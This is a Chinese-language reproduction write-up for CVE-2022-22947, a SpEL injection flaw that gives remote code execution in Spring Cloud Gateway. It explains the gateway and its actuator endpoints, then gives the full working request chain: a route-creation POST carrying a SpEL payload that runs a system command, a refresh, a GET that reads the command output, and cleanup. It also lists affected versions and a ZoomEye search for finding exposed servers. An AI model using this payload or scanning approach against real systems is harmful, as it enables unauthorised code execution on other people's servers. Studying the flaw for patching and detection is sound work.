springcloudgatewayRCE(spEl表达式)

CVE-2022-22947

Spring Cloud Gateway
Remote Code Execute 漏洞
/ SpEL Code Injection 漏洞

基本介绍

cloud全家桶

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网关作用

l 智能路由 l 负载均衡 l 协议转换 l 权限校验 l 限流熔断 l 黑白名单 l API监控 l 日志审计

Spring Clout Gateway使用

<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>

Spring Cloud Gateway概念

l 路由(Route)
l 断言(Predicate)
l 过滤器(Filter)

原理分析

为了更加方便地给装配赋值,而出的漏洞

Spel概述

Spring表达式语言全称为“Spring Expression Language”,缩写为“SpEL”,类似于Struts2x中使用的OGNL表达式语言,能在运行时构建复杂表达式、存取对象图属性、对象方法调用等等,并且能与Spring功能完美整合,如能用来配置Bean定义。

从Spring 3开始引入了Spring表达式语言,它能够以一种强大而简洁的方式将值装配到Bean属性和构造器参数中,在这个过程中所使用的表达式会在运行时计算得到值。使用SpEL你可以实现超乎想象的装配效果,这是其他装配技术很难做到的

为什么添加过滤器(路由)会造成代码执行

利用流程:

  1. 开启Acutator(监听),可以用该接口列出路由(过滤器),如:/actustor/gateway/routes
  2. 可以通过/gateway/routes/{id_route_to_create}创建路由
  3. 通过/actuator/gateway/refresh刷新路由
  4. 当路由器带有恶意的Filter,里面的spEL表达式会被执行

payload分析

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T:占位符

Actuator操作Gateway接口列表

http://host:port/actuator/gateway/id

id HTTP Method 描述
globalfilters GET 返回全局Filter列表
routefilters GET 每个路由的filter
routes GET 路由列表
routes/{id} GET 指定路由的信息
routes/{id} POST 创建路由
refresh POST 刷新路由缓存
routes/{id} DELETE 删除路由

漏洞复现

启动网关服务

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方式一:bp抓包放包

post请求添加过滤器规则

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "wuyaaq",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

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刷新规则

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:9000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

a=1

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get访问恶意规则id

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1


image.png

清除数据包,删除所添加的路由

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 2


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再次刷新路由

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:9000
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

a=1

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方式二:启动自动化脚本

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扫描发现

影响范围

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
[https://tanzu.vmware.com/security/cve-2022- 22947](https://tanzu.vmware.com/security/cve-2022- 22947)
Pivotal

扫描资产

zoomeye

app=“vmware-SpringBoot-framework”

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脚本扫描scan.py

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